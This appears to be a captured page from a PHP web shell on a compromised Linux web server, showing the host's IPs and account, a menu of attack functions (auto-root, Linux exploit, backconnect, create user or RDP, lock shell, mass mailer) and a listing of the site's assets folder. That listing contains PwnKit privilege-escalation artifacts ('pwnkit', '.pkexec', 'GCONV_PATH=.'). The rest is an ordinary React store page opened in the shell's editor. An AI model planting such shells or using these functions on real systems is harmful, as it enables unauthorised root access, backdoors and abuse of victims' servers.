Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.216.236
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechs.io /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
.htaccess
127
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
AboutPage-BFl-6cdQ-xcVGd7Gs.js
11.09
KB
-rw-r--r--
AboutPage-BFl-6cdQ.js
11.01
KB
-rw-r--r--
AboutPage-CRYHjz8B.js
11.08
KB
-rw-r--r--
AboutPage-D8o4mb0o.js
11.01
KB
-rw-r--r--
AccountDock-CByk1p32-CvIHjYO8....
5.12
KB
-rw-r--r--
AccountDock-CByk1p32.js
5.09
KB
-rw-r--r--
AccountDock-McBBbuGp.js
5.09
KB
-rw-r--r--
AccountDock-jB2pi2PH.js
4.55
KB
-rw-r--r--
AdminPanelPage-BKaudkeA-BfT7Qn...
65.79
KB
-rw-r--r--
AdminPanelPage-BKaudkeA.js
65.75
KB
-rw-r--r--
AdminPanelPage-hxg7mlUz.js
65.77
KB
-rw-r--r--
AdminPanelPage-kvHyxrbX.js
65.78
KB
-rw-r--r--
AuthPage-CWZaRQ53.js
7.93
KB
-rw-r--r--
AuthPage-D2oEk9fK.js
7.93
KB
-rw-r--r--
AuthPage-IoEHnwV2-DMx3f31D.js
7.99
KB
-rw-r--r--
AuthPage-IoEHnwV2.js
7.93
KB
-rw-r--r--
BlogPage-DGMv-nlg.js
1.05
KB
-rw-r--r--
Button-BI6JHCK5.js
894
B
-rw-r--r--
Button-D2wDOozD-BtIMHGpv.js
898
B
-rw-r--r--
Button-D2wDOozD.js
894
B
-rw-r--r--
Button-DPbE3uKx.js
894
B
-rw-r--r--
ClientDashboardPage-BFRChU8j.j...
21.08
KB
-rw-r--r--
ClientDashboardPage-D7gOu81u-C...
21.13
KB
-rw-r--r--
ClientDashboardPage-D7gOu81u.j...
21.04
KB
-rw-r--r--
ClientDashboardPage-DAtumH_H.j...
21.11
KB
-rw-r--r--
ContactPage-BnwClT5m-pkrl2KVG....
9.63
KB
-rw-r--r--
ContactPage-BnwClT5m.js
9.53
KB
-rw-r--r--
ContactPage-CQKICACj.js
9.59
KB
-rw-r--r--
ContactPage-Dyl_poQ9.js
9.53
KB
-rw-r--r--
DemoShellPage-BDFaqClQ-N4jADs2...
11.26
KB
-rw-r--r--
DemoShellPage-BDFaqClQ.js
11.17
KB
-rw-r--r--
DemoShellPage-CXk-WyIs.js
13.31
KB
-rw-r--r--
DemoShellPage-CnphZX4a.js
11.17
KB
-rw-r--r--
ProductDetailsPage--xf82Wdc.js
12.51
KB
-rw-r--r--
ProductDetailsPage-Bst2BMXl.js
12.58
KB
-rw-r--r--
ProductDetailsPage-DbsKzKmO-Bo...
12.6
KB
-rw-r--r--
ProductDetailsPage-DbsKzKmO.js
12.51
KB
-rw-r--r--
ScrollTrigger-7Zy99s9Q-BPq82Yl...
42.93
KB
-rw-r--r--
ScrollTrigger-7Zy99s9Q.js
42.96
KB
-rw-r--r--
SiteChrome-CkbUXxf_.js
7.16
KB
-rw-r--r--
SiteChrome-D3D3Aw-2.js
6.2
KB
-rw-r--r--
SiteChrome-DJFTF4Ff-Fp7FHZ2Q.j...
6.58
KB
-rw-r--r--
SiteChrome-DJFTF4Ff.js
6.56
KB
-rw-r--r--
StorePage-CCLakifp.js
22.82
KB
-rw-r--r--
StorePage-Cca-p5Z_-D_zPBVRK.js
22.89
KB
-rw-r--r--
StorePage-Cca-p5Z_.js
22.75
KB
-rw-r--r--
StorePage-D3IosLOe.js
22.75
KB
-rw-r--r--
arrow-right-1RKBaJm4.js
344
B
-rw-r--r--
arrow-right-DF_6IH5_-B53OQOKh....
348
B
-rw-r--r--
arrow-right-DF_6IH5_.js
344
B
-rw-r--r--
arrow-right-DwjVqvji.js
344
B
-rw-r--r--
circle-check-B9su1Bzf.js
352
B
-rw-r--r--
circle-check-CTBPBmCf-n9VsgXx6...
366
B
-rw-r--r--
circle-check-CTBPBmCf.js
352
B
-rw-r--r--
circle-check-u9adkwRC.js
352
B
-rw-r--r--
clock-3-Cu3htX6m-rnEJxpV8.js
370
B
-rw-r--r--
clock-3-Cu3htX6m.js
361
B
-rw-r--r--
clock-3-DF9c78Tc.js
361
B
-rw-r--r--
clock-3-edy3tJrX.js
361
B
-rw-r--r--
createLucideIcon-9GDfkjCp-1qLQ...
1.52
KB
-rw-r--r--
createLucideIcon-9GDfkjCp.js
1.54
KB
-rw-r--r--
createLucideIcon-BWeLwUUK.js
1.54
KB
-rw-r--r--
createLucideIcon-CMq6eM5C.js
1.54
KB
-rw-r--r--
credit-card-AIrys0eB.js
386
B
-rw-r--r--
credit-card-Cd-r6u3q-EXOseSEX....
395
B
-rw-r--r--
credit-card-Cd-r6u3q.js
386
B
-rw-r--r--
credit-card-Q8P3iw5M.js
386
B
-rw-r--r--
eye-BzKTFY0m.js
431
B
-rw-r--r--
eye-C03LuO7d-D6_xK8Ps.js
445
B
-rw-r--r--
eye-C03LuO7d.js
431
B
-rw-r--r--
eye-Cx56kTmG.js
431
B
-rw-r--r--
firebase-DEg1zKlq-B7QEUBhI.js
162.07
KB
-rw-r--r--
firebase-DEg1zKlq.js
163.55
KB
-rw-r--r--
index-BWPb6fzk.css
62.31
KB
-rw-r--r--
index-Bvu9zNsI-DX1QA0ik.js
69.18
KB
-rw-r--r--
index-Bvu9zNsI.js
69.19
KB
-rw-r--r--
index-Bz4UyWnK.js
171.01
KB
-rw-r--r--
index-CBe4ypir.css
60.82
KB
-rw-r--r--
index-CDOUjI53.js
174.43
KB
-rw-r--r--
index-CTlm15d2.js
171.05
KB
-rw-r--r--
index-DNmw2oyp.css
61.82
KB
-rw-r--r--
index-Dwjfbpr8.js
171.3
KB
-rw-r--r--
loader-circle-D7oyO-2w.js
323
B
-rw-r--r--
loader-circle-DMRH_mR_.js
323
B
-rw-r--r--
loader-circle-IEDYPIER-CuEXV5k...
332
B
-rw-r--r--
loader-circle-IEDYPIER.js
323
B
-rw-r--r--
logo-pVcFpWoF.png
506.48
KB
-rw-r--r--
mail-BJu8buSm-BZTw5WIs.js
404
B
-rw-r--r--
mail-BJu8buSm.js
395
B
-rw-r--r--
mail-DFP30gPy.js
395
B
-rw-r--r--
mail-mV4CdDUR.js
395
B
-rw-r--r--
output-onlinegiftools-1-1-BQn0...
485
B
-rw-r--r--
output-onlinegiftools-1-1-BZ2C...
3.78
MB
-rw-r--r--
output-onlinegiftools-1-1-C0SM...
494
B
-rw-r--r--
output-onlinegiftools-1-1-C0SM...
485
B
-rw-r--r--
output-onlinegiftools-1-1-C7Gw...
485
B
-rw-r--r--
output-onlinegiftools-2-BMi0cX...
4
MB
-rw-r--r--
output-onlinegiftools-2-BnXksE...
753
B
-rw-r--r--
output-onlinegiftools-2-BnXksE...
744
B
-rw-r--r--
output-onlinegiftools-2-CNwtJS...
744
B
-rw-r--r--
output-onlinegiftools-2-D4M_L7...
744
B
-rw-r--r--
package-check-DDRkTBqD.js
605
B
-rw-r--r--
phone-1yK55Cb0.js
574
B
-rw-r--r--
phone-C1JglSQK-DjOzq1OR.js
578
B
-rw-r--r--
phone-C1JglSQK.js
574
B
-rw-r--r--
phone-v32ABdJw.js
944
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
refresh-cw-B3cmlBmt.js
500
B
-rw-r--r--
send-ClB1CbTm.js
470
B
-rw-r--r--
settings-BZIrvXP2.js
905
B
-rw-r--r--
settings-Biipnq-T-D6uXb2ZX.js
909
B
-rw-r--r--
settings-Biipnq-T.js
905
B
-rw-r--r--
settings-WguBlejS.js
905
B
-rw-r--r--
shopping-bag-BgB0pOAF.js
804
B
-rw-r--r--
shopping-bag-CHYQamNb.js
804
B
-rw-r--r--
shopping-bag-DdF-XavL-GKTs5aMq...
803
B
-rw-r--r--
shopping-bag-DdF-XavL.js
804
B
-rw-r--r--
truck-CcDe-2TB.js
1.58
KB
-rw-r--r--
truck-Cqzh9gCM-C5hCHi2O.js
1.58
KB
-rw-r--r--
truck-Cqzh9gCM.js
1.58
KB
-rw-r--r--
truck-DiaBXU-o.js
1.58
KB
-rw-r--r--
usePortalSocket-BunRYVgj.js
15.98
KB
-rw-r--r--
usePortalSocket-CijdJaF-.js
16.4
KB
-rw-r--r--
usePortalSocket-DaFfMY0_-D7Cb-...
16.41
KB
-rw-r--r--
usePortalSocket-DaFfMY0_.js
16.41
KB
-rw-r--r--
user-plus-DHnwp5UO.js
868
B
-rw-r--r--
user-plus-DVissIdY.js
868
B
-rw-r--r--
user-plus-DoawIM15--VPezORf.js
867
B
-rw-r--r--
user-plus-DoawIM15.js
868
B
-rw-r--r--
user-round-CppNcdCW-BRXg1PZR.j...
1.54
KB
-rw-r--r--
user-round-CppNcdCW.js
1.55
KB
-rw-r--r--
user-round-D64-Xj15.js
1.15
KB
-rw-r--r--
user-round-DU-BBHF0.js
1.55
KB
-rw-r--r--
x-BmeVBLEj.js
334
B
-rw-r--r--
x-COYnIX-z-_goiIEX7.js
343
B
-rw-r--r--
x-COYnIX-z.js
334
B
-rw-r--r--
x-DgvKnt-9.js
334
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProductDetailsPage-Bst2BMXl.js
import{u as P,r as i,j as e,c as N,d as C,a as $,b as E,L as k}from"./index-Dwjfbpr8.js";import{A as T}from"./AccountDock-jB2pi2PH.js";import{A as D,B as S}from"./Button-BI6JHCK5.js";import{B as v,S as F,T as B}from"./truck-DiaBXU-o.js";import{X as O}from"./x-DgvKnt-9.js";import{L as y}from"./loader-circle-D7oyO-2w.js";import{S as R}from"./send-ClB1CbTm.js";import{S as A,L as q}from"./shopping-bag-BgB0pOAF.js";import{P as H}from"./package-check-DDRkTBqD.js";import{S as I}from"./user-round-D64-Xj15.js";import{E as M}from"./eye-BzKTFY0m.js";import"./user-plus-DVissIdY.js";import"./createLucideIcon-CMq6eM5C.js";const L={projectName:"",businessType:"",goals:"",mustHaveFeatures:"",timeline:"",budgetRange:"",contactPreference:""},z={projectName:"Project name",businessType:"Business type",goals:"Project goals",mustHaveFeatures:"Must-have features",timeline:"Timeline",budgetRange:"Budget range",contactPreference:"Contact preference"},U={projectName:{min:2,max:140},businessType:{min:2,max:120},goals:{min:10,max:3e3},mustHaveFeatures:{min:2,max:3e3},timeline:{min:2,max:120},budgetRange:{min:2,max:120},contactPreference:{min:2,max:120}};function J(t){return new Intl.NumberFormat("en-US",{style:"currency",currency:"USD",maximumFractionDigits:0}).format(t||0)}function G(t){for(const[n,a]of Object.entries(U)){const l=String(t[n]||"").trim(),s=z[n];if(l.length<a.min)return`${s} must be at least ${a.min} characters.`;if(l.length>a.max)return`${s} must be ${a.max} characters or fewer.`}return""}function K(t){var l,s,r;const n=(r=(s=(l=t==null?void 0:t.payload)==null?void 0:l.error)==null?void 0:s.details)==null?void 0:r.fieldErrors,a=n?Object.entries(n).flatMap(([c,b])=>{const p=z[c]||(c==="formData"?"Order details":c);return(b||[]).map(u=>`${p}: ${u}`)}).filter(Boolean):[];return a.length?a.join(" "):t.message}function W({product:t,open:n,onClose:a}){const l=P(),[s,r]=i.useState(L),[c,b]=i.useState(!1),[p,u]=i.useState("");if(!n||!t)return null;function d(h){const{name:m,value:x}=h.target;r(g=>({...g,[m]:x}))}async function f(h){h.preventDefault();const m=G(s);if(m){u(m);return}b(!0),u("");try{const x=await N("/api/portal/orders",{method:"POST",body:JSON.stringify({productId:t.id,formData:s})});r(L),a==null||a(),l(`/dashboard?order=${x.order.id}`)}catch(x){u(K(x))}finally{b(!1)}}return e.jsx("div",{className:"fixed inset-0 z-[70] overflow-y-auto bg-slate-950/72 px-4 py-6 backdrop-blur-sm",children:e.jsxs("section",{className:"mx-auto w-full max-w-4xl overflow-hidden rounded-lg border border-white/15 bg-white shadow-2xl",children:[e.jsxs("div",{className:"flex items-start justify-between gap-4 border-b border-slate-200 bg-slate-950 p-5 text-white sm:p-6",children:[e.jsxs("div",{children:[e.jsxs("span",{className:"inline-flex items-center gap-2 text-sm font-black uppercase text-cyan-100",children:[e.jsx(v,{size:16,"aria-hidden":"true"}),"Project Discovery"]}),e.jsx("h2",{className:"mt-2 text-2xl font-black leading-tight sm:text-3xl",children:t.title}),e.jsxs("p",{className:"mt-2 text-sm font-semibold text-zinc-300",children:["Base price starts at ",J(t.price),". Final scope is negotiated in chat."]})]}),e.jsx("button",{type:"button",onClick:a,className:"grid h-10 w-10 shrink-0 place-items-center rounded-md border border-white/20 text-white transition hover:bg-white/10","aria-label":"Close order form",children:e.jsx(O,{size:18,"aria-hidden":"true"})})]}),e.jsxs("form",{onSubmit:f,className:"grid gap-5 p-5 sm:p-6",children:[e.jsxs("div",{className:"grid gap-4 md:grid-cols-2",children:[e.jsxs("label",{className:"block",children:[e.jsx("span",{className:"mb-1 block text-sm font-bold text-slate-700",children:"Project name"}),e.jsx("input",{name:"projectName",value:s.projectName,onChange:d,className:"h-11 w-full rounded-md border border-slate-300 px-3 text-sm",minLength:2,maxLength:140,required:!0})]}),e.jsxs("label",{className:"block",children:[e.jsx("span",{className:"mb-1 block text-sm font-bold text-slate-700",children:"Business type"}),e.jsx("input",{name:"businessType",value:s.businessType,onChange:d,className:"h-11 w-full rounded-md border border-slate-300 px-3 text-sm",minLength:2,maxLength:120,required:!0})]})]}),e.jsxs("label",{className:"block",children:[e.jsx("span",{className:"mb-1 block text-sm font-bold text-slate-700",children:"Project goals"}),e.jsx("textarea",{name:"goals",value:s.goals,onChange:d,className:"min-h-28 w-full rounded-md border border-slate-300 p-3 text-sm leading-6",minLength:10,maxLength:3e3,required:!0})]}),e.jsxs("label",{className:"block",children:[e.jsx("span",{className:"mb-1 block text-sm font-bold text-slate-700",children:"Must-have features"}),e.jsx("textarea",{name:"mustHaveFeatures",value:s.mustHaveFeatures,onChange:d,className:"min-h-24 w-full rounded-md border border-slate-300 p-3 text-sm leading-6",minLength:2,maxLength:3e3,required:!0})]}),e.jsxs("div",{className:"grid gap-4 md:grid-cols-3",children:[e.jsxs("label",{className:"block",children:[e.jsx("span",{className:"mb-1 block text-sm font-bold text-slate-700",children:"Timeline"}),e.jsx("input",{name:"timeline",value:s.timeline,onChange:d,className:"h-11 w-full rounded-md border border-slate-300 px-3 text-sm",minLength:2,maxLength:120,required:!0})]}),e.jsxs("label",{className:"block",children:[e.jsx("span",{className:"mb-1 block text-sm font-bold text-slate-700",children:"Budget range"}),e.jsx("input",{name:"budgetRange",value:s.budgetRange,onChange:d,className:"h-11 w-full rounded-md border border-slate-300 px-3 text-sm",minLength:2,maxLength:120,required:!0})]}),e.jsxs("label",{className:"block",children:[e.jsx("span",{className:"mb-1 block text-sm font-bold text-slate-700",children:"Contact preference"}),e.jsx("input",{name:"contactPreference",value:s.contactPreference,onChange:d,className:"h-11 w-full rounded-md border border-slate-300 px-3 text-sm",placeholder:"Email, phone, WhatsApp",minLength:2,maxLength:120,required:!0})]})]}),p&&e.jsx("div",{className:"rounded-md border border-red-200 bg-red-50 p-3 text-sm font-semibold text-red-700",children:p}),e.jsxs("div",{className:"flex flex-wrap items-center justify-end gap-3",children:[e.jsx("button",{type:"button",onClick:a,className:"inline-flex min-h-11 items-center justify-center rounded-xl border border-slate-300 px-5 text-sm font-black text-slate-700 transition hover:border-slate-500",children:"Cancel"}),e.jsxs("button",{type:"submit",disabled:c,className:"inline-flex min-h-12 items-center justify-center gap-2 rounded-xl bg-amber-400 px-6 text-sm font-black text-slate-950 shadow-xl shadow-amber-300/30 transition hover:-translate-y-0.5 hover:bg-amber-300 disabled:cursor-not-allowed disabled:opacity-60",children:[c?e.jsx(y,{className:"animate-spin",size:17,"aria-hidden":"true"}):e.jsx(R,{size:17,"aria-hidden":"true"}),"Order now!!"]})]})]})]})})}function X({product:t}){var s;const n=(s=t.screenshots)!=null&&s.length?t.screenshots:[],[a,l]=i.useState(n[0]);return i.useEffect(()=>{l(n[0])},[t.id]),e.jsxs("div",{className:"space-y-4",children:[e.jsx("div",{className:"aspect-[16/10] overflow-hidden rounded-lg border border-slate-200 bg-slate-100 shadow-xl shadow-slate-200/70",children:e.jsx("img",{src:a,alt:`${t.title} product view`,className:"h-full w-full object-contain p-3"})}),e.jsx("div",{className:"grid grid-cols-3 gap-3",children:n.map((r,c)=>e.jsx("button",{type:"button",onClick:()=>l(r),className:`aspect-[16/10] overflow-hidden rounded-md border bg-slate-100 transition ${a===r?"border-cyan-700 ring-2 ring-cyan-100":"border-slate-200 hover:border-slate-400"}`,"aria-label":`Show product image ${c+1}`,children:e.jsx("img",{src:r,alt:"",className:"h-full w-full object-contain p-1.5"})},r))})]})}function _(t){return new Intl.NumberFormat("en-US",{style:"currency",currency:"USD",maximumFractionDigits:0}).format(t)}function ce(){const{productId:t}=C(),n=P(),a=$(),{user:l,loading:s}=E(),[r,c]=i.useState(null),[b,p]=i.useState(!0),[u,d]=i.useState(!1),[f,h]=i.useState(!1),[m,x]=i.useState("");i.useEffect(()=>{let o=!0;return N(`/api/products/${t}`).then(j=>{o&&c(j.product)}).catch(j=>{o&&x(j.message)}).finally(()=>{o&&p(!1)}),()=>{o=!1}},[t]),i.useEffect(()=>{new URLSearchParams(a.search).get("intent")==="hire"&&l&&r&&h(!0)},[a.search,r,l]);async function g(){if(!l){n(`/auth?mode=login&returnTo=${encodeURIComponent(a.pathname)}`);return}d(!0),x("");try{const o=await N("/api/demo/activate",{method:"POST",body:JSON.stringify({productId:t})});n(`/demo/${o.session.id}`)}catch(o){x(o.message)}finally{d(!1)}}function w(){const o=`${a.pathname}?intent=hire`;if(!l){n(`/auth?mode=login&returnTo=${encodeURIComponent(o)}`);return}h(!0)}return e.jsxs("div",{className:"min-h-screen bg-[#f5efe6]",children:[e.jsx(T,{}),e.jsxs("main",{className:"mx-auto w-full max-w-7xl px-4 py-8 sm:px-6 lg:px-8",children:[e.jsxs("div",{className:"mb-8 flex flex-wrap items-center justify-between gap-4",children:[e.jsxs(k,{to:"/",className:"inline-flex items-center gap-2 text-sm font-extrabold text-slate-700 hover:text-cyan-800",children:[e.jsx(D,{size:16,"aria-hidden":"true"}),"Back to Products"]}),e.jsxs(k,{to:"/",className:"inline-flex items-center gap-3 text-sm font-black text-slate-950",children:[e.jsx("span",{className:"grid h-10 w-10 place-items-center rounded-full bg-cyan-700 text-white",children:e.jsx(A,{size:18,"aria-hidden":"true"})}),"SignalTechs Store"]})]}),b&&e.jsx("div",{className:"grid min-h-72 place-items-center rounded-lg border border-slate-200 bg-white",children:e.jsx(y,{className:"animate-spin text-cyan-700","aria-hidden":"true"})}),!b&&m&&!r&&e.jsx("div",{className:"rounded-lg border border-red-200 bg-red-50 p-4 text-sm font-semibold text-red-700",children:m}),r&&e.jsxs("section",{className:"grid gap-8 lg:grid-cols-[1.1fr_0.9fr] lg:items-start",children:[e.jsx(X,{product:r}),e.jsxs("article",{className:"rounded-lg border border-slate-200 bg-white p-6 shadow-xl shadow-slate-200/70 sm:p-8",children:[e.jsxs("div",{className:"flex flex-wrap gap-2",children:[e.jsxs("span",{className:"inline-flex items-center gap-2 rounded-full bg-cyan-50 px-3 py-1 text-sm font-black text-cyan-800",children:[e.jsx(H,{size:16,"aria-hidden":"true"}),"In stock"]}),e.jsxs("span",{className:"inline-flex items-center gap-2 rounded-full bg-amber-50 px-3 py-1 text-sm font-black text-amber-800",children:[e.jsx(F,{className:"fill-amber-400 text-amber-400",size:16,"aria-hidden":"true"}),"Featured item"]})]}),e.jsx("h1",{className:"mt-5 text-3xl font-black leading-tight text-slate-950 sm:text-5xl",children:r.title}),e.jsx("p",{className:"mt-5 text-base leading-8 text-slate-600",children:r.description}),e.jsxs("div",{className:"mt-7 grid gap-3 sm:grid-cols-3",children:[e.jsxs("div",{className:"rounded-lg border border-slate-200 bg-[#fbfaf8] p-4",children:[e.jsx("span",{className:"block text-xs font-extrabold uppercase text-slate-500",children:"Price"}),e.jsx("strong",{className:"mt-1 block text-3xl font-black text-slate-950",children:_(r.price)}),e.jsxs("button",{type:"button",onClick:w,className:"mt-3 inline-flex min-h-10 w-full items-center justify-center gap-2 rounded-md bg-amber-400 px-3 text-xs font-black text-slate-950 transition hover:bg-amber-300",disabled:s,children:[e.jsx(v,{size:15,"aria-hidden":"true"}),"Hire an expert"]})]}),e.jsxs("div",{className:"rounded-lg border border-slate-200 bg-[#fbfaf8] p-4",children:[e.jsx("span",{className:"block text-xs font-extrabold uppercase text-slate-500",children:"Preview"}),e.jsxs("strong",{className:"mt-2 inline-flex items-center gap-2 text-sm font-black text-cyan-800",children:[e.jsx(I,{size:16,"aria-hidden":"true"}),"48 hours"]})]}),e.jsxs("div",{className:"rounded-lg border border-slate-200 bg-[#fbfaf8] p-4",children:[e.jsx("span",{className:"block text-xs font-extrabold uppercase text-slate-500",children:"Delivery"}),e.jsxs("strong",{className:"mt-2 inline-flex items-center gap-2 text-sm font-black text-cyan-800",children:[e.jsx(B,{size:16,"aria-hidden":"true"}),"Store ready"]})]})]}),e.jsxs("div",{className:"mt-7 grid gap-3 sm:flex sm:flex-wrap sm:items-center",children:[e.jsxs(S,{onClick:w,disabled:s,className:"min-h-12 w-full rounded-xl bg-amber-400 px-6 text-slate-950 hover:bg-amber-300 sm:w-auto",children:[e.jsx(v,{size:17,"aria-hidden":"true"}),"Hire an expert"]}),e.jsxs(S,{onClick:g,disabled:u||s,className:"min-h-12 w-full rounded-xl px-6 sm:w-auto",children:[u?e.jsx(y,{className:"animate-spin",size:17,"aria-hidden":"true"}):e.jsx(M,{size:17,"aria-hidden":"true"}),"Preview Product Demo"]}),e.jsxs("span",{className:"inline-flex items-center gap-2 text-sm font-bold text-slate-500",children:[e.jsx(q,{size:16,"aria-hidden":"true"}),"Login opens the protected product demo."]})]}),m&&e.jsx("div",{className:"mt-5 rounded-lg border border-red-200 bg-red-50 p-4 text-sm font-semibold text-red-700",children:m})]})]})]}),e.jsx(W,{product:r,open:f,onClose:()=>h(!1)})]})}export{ce as ProductDetailsPage};
Close